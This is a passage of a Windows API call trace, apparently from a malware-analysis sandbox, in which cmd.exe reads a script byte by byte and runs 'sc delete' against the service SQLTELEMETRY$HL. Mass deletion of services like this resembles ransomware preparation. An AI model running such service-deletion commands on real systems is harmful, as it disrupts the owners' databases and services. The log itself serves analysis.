lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.993] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="QortServer\n0\nService\n\n") returned 1 [0065.993] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.994] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.994] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.994] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="LrtServer\n0\nService\n\n") returned 1 [0065.994] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.994] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.994] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.994] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="TtServer\n0\nService\n\n") returned 1 [0065.994] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.994] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.994] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.994] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="EServer\n0\nService\n\n") returned 1 [0065.994] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.994] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.994] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.994] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e340, cchWideChar=1 | out: lpWideCharStr="Lerver\n0\nService\n\n") returned 1 [0065.994] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.994] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.994] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.994] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e342, cchWideChar=1 | out: lpWideCharStr="Erver\n0\nService\n\n") returned 1 [0065.994] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.995] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.995] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.995] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e344, cchWideChar=1 | out: lpWideCharStr="Mver\n0\nService\n\n") returned 1 [0065.995] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.995] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.995] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.995] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e346, cchWideChar=1 | out: lpWideCharStr="Eer\n0\nService\n\n") returned 1 [0065.995] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.995] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.995] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.995] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e348, cchWideChar=1 | out: lpWideCharStr="Tr\n0\nService\n\n") returned 1 [0065.995] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.995] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.995] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.995] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34a, cchWideChar=1 | out: lpWideCharStr="R\n0\nService\n\n") returned 1 [0065.995] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.995] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.995] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.995] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34c, cchWideChar=1 | out: lpWideCharStr="Y0\nService\n\n") returned 1 [0065.995] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.996] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.996] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.996] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34e, cchWideChar=1 | out: lpWideCharStr="$\nService\n\n") returned 1 [0065.996] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.996] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.996] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.996] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e350, cchWideChar=1 | out: lpWideCharStr="HService\n\n") returned 1 [0065.996] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.996] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.996] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.996] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e352, cchWideChar=1 | out: lpWideCharStr="Lervice\n\n") returned 1 [0065.997] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.997] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.997] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.997] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e354, cchWideChar=1 | out: lpWideCharStr="\"rvice\n\n") returned 1 [0065.997] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.997] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.997] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.997] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e356, cchWideChar=1 | out: lpWideCharStr="\nvice\n\n") returned 1 [0065.997] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.997] GetFileType (hFile=0xb8) returned 0x3 [0065.997] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.997] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.997] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.997] GetFileType (hFile=0x120) returned 0x3 [0065.997] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.997] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete \"SQLTELEMETRY$HL\"\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete \"SQLTELEMETRY$HL\"\n", lpUsedDefaultChar=0x0) returned 29 [0065.997] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x1c, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x1c, lpOverlapped=0x0) returned 1 [0065.997] GetProcessHeap () returned 0x1b0000 [0065.997] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1d8630 [0065.997] GetProcessHeap () returned 0x1b0000 [0065.997] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d8630 | out: hHeap=0x1b0000) returned 1 [0065.998] GetProcessHeap () returned 0x1b0000 [0065.998] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1d4660 [0065.998] GetProcessHeap () returned 0x1b0000 [0065.998] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0065.998] GetProcessHeap () returned 0x1b0000 [0065.998] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x44) returned 0x1caa40 [0065.998] GetConsoleOutputCP () returned 0x1b5 [0065.998] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0065.998] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0065.998] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0065.999] GetProcessHeap () returned 0x1b0000 [0065.999] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0065.999] GetProcessHeap () returned 0x1b0000 [0065.999] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4a) returned 0x1c9b30 [0065.999] GetProcessHeap () returned 0x1b0000 [0065.999] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cba10 [0065.999] SetErrorMode (uMode=0x0) returned 0x1 [0065.999] SetErrorMode (uMode=0x1) returned 0x0 [0065.999] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cba20, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0065.999] SetErrorMode (uMode=0x1) returned 0x1 [0065.999] GetProcessHeap () returned 0x1b0000 [0065.999] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cba10, Size=0x62) returned 0x1cba10 [0065.999] GetProcessHeap () returned 0x1b0000 [0065.999] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cba10) returned 0x62 [0065.999] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0065.999] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0065.999] GetProcessHeap () returned 0x1b0000 [0065.999] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0065.999] GetProcessHeap () returned 0x1b0000 [0065.999] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0065.999] GetProcessHeap () returned 0x1b0000 [0065.999] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0065.999] GetProcessHeap () returned 0x1b0000 [0066.000] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0066.000] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0066.000] GetProcessHeap () returned 0x1b0000 [0066.000] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c97e0 [0066.000] GetProcessHeap () returned 0x1b0000 [0066.000] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c97e0, Size=0x7e) returned 0x1c97e0 [0066.000] GetProcessHeap () returned 0x1b0000 [0066.000] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c97e0) returned 0x7e [0066.000] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0066.000] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0066.000] GetLastError () returned 0x2 [0066.000] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0066.000] GetLastError () returned 0x2 [0066.001] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0066.001] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9870 [0066.001] FindClose (in: hFindFile=0x1c9870 | out: hFindFile=0x1c9870) returned 1 [0066.001] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0066.001] GetLastError () returned 0x2 [0066.001] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9870 [0066.001] FindClose (in: hFindFile=0x1c9870 | out: hFindFile=0x1c9870) returned 1 [0066.001] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0066.002] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0066.002] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0066.002] GetProcessHeap () returned 0x1b0000 [0066.002] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0066.002] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0066.002] GetProcessHeap () returned 0x1b0000 [0066.002] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0xb0) returned 0x1c9180 [0066.002] GetProcessHeap () returned 0x1b0000 [0066.002] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0xb0 [0066.002] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete \"SQLTELEMETRY$HL\"") returned 1 [0066.003] GetProcessHeap () returned 0x1b0000 [0066.003] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0066.003] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0066.003] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0066.003] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0066.003] GetProcessHeap () returned 0x1b0000 [0066.003] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0066.003] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0066.003] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0066.003] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0066.003] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0066.003] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0066.003] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0066.003] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0066.003] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0066.003] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0066.004] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0066.004] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0066.004] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0066.004] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0066.004] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0066.004] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0066.004] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0066.004] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0066.004] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0066.004] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.004] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.004] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.004] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.004] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.004] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.004] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.004] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.004] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0066.004] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0066.004] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0066.004] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0066.004] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0066.004] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0066.004] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0066.004] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0066.004] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0066.004] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0066.004] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0066.004] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0066.005] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0066.005] GetProcessHeap () returned 0x1b0000 [0066.005] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0066.005] GetProcessHeap () returned 0x1b0000 [0066.005] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0066.005] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete \"SQLTELEMETRY$HL\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete \"SQLTELEMETRY$HL\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete \"SQLTELEMETRY$HL\"", lpProcessInformation=0x14ee20*(hProcess=0x54, hThread=0x50, dwProcessId=0xb74, dwThreadId=0xb68)) returned 1 [0066.008] CloseHandle (hObject=0x50) returned 1 [0066.008] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0066.008] GetProcessHeap () returned 0x1b0000 [0066.008] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d1b10 | out: hHeap=0x1b0000) returned 1 [0066.008] GetEnvironmentStringsW () returned 0x1d1b10* [0066.008] GetProcessHeap () returned 0x1b0000 [0066.008] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0066.008] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0066.008] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0066.008] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd7000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0066.009] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0066.059] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0066.059] CloseHandle (hObject=0x54) returned 1 [0066.059] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0066.059] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0066.060] GetProcessHeap () returned 0x1b0000 [0066.060] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0066.060] GetEnvironmentStringsW () returned 0x1d1b10* [0066.060] GetProcessHeap () returned 0x1b0000 [0066.060] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0066.060] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0066.060] 